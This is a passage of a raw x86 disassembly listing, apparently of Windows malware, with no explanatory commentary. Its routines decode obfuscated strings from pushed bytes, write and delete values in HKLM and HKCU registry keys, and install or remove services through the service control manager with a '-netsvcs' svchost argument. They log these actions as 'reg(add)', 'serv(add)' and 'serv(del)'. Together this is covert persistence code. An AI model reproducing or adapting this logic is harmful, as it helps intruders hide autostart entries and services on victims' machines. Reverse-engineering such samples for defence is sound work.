		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2920000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28E0000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2920000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28E0000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2920000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28E0000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2920000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28E0000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2920000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28E0000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27D0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 28E09A5h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447874
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 28F0000h
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		nop
		call	near ptr 279081Fh
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		nop
		call	near ptr 28F0371h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		call	near ptr 28F05E5h
		nop
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 28E09A5h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 288068Ch
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 28F0371h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 28E05ACh
		push	esi
		nop
		call	near ptr 28E089Ah
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 28E09A5h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 288068Ch
		nop
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		call	near ptr 28F0371h
		nop
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 28E09A5h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 288068Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		call	near ptr 28F0371h
		nop
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28D0AD5h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
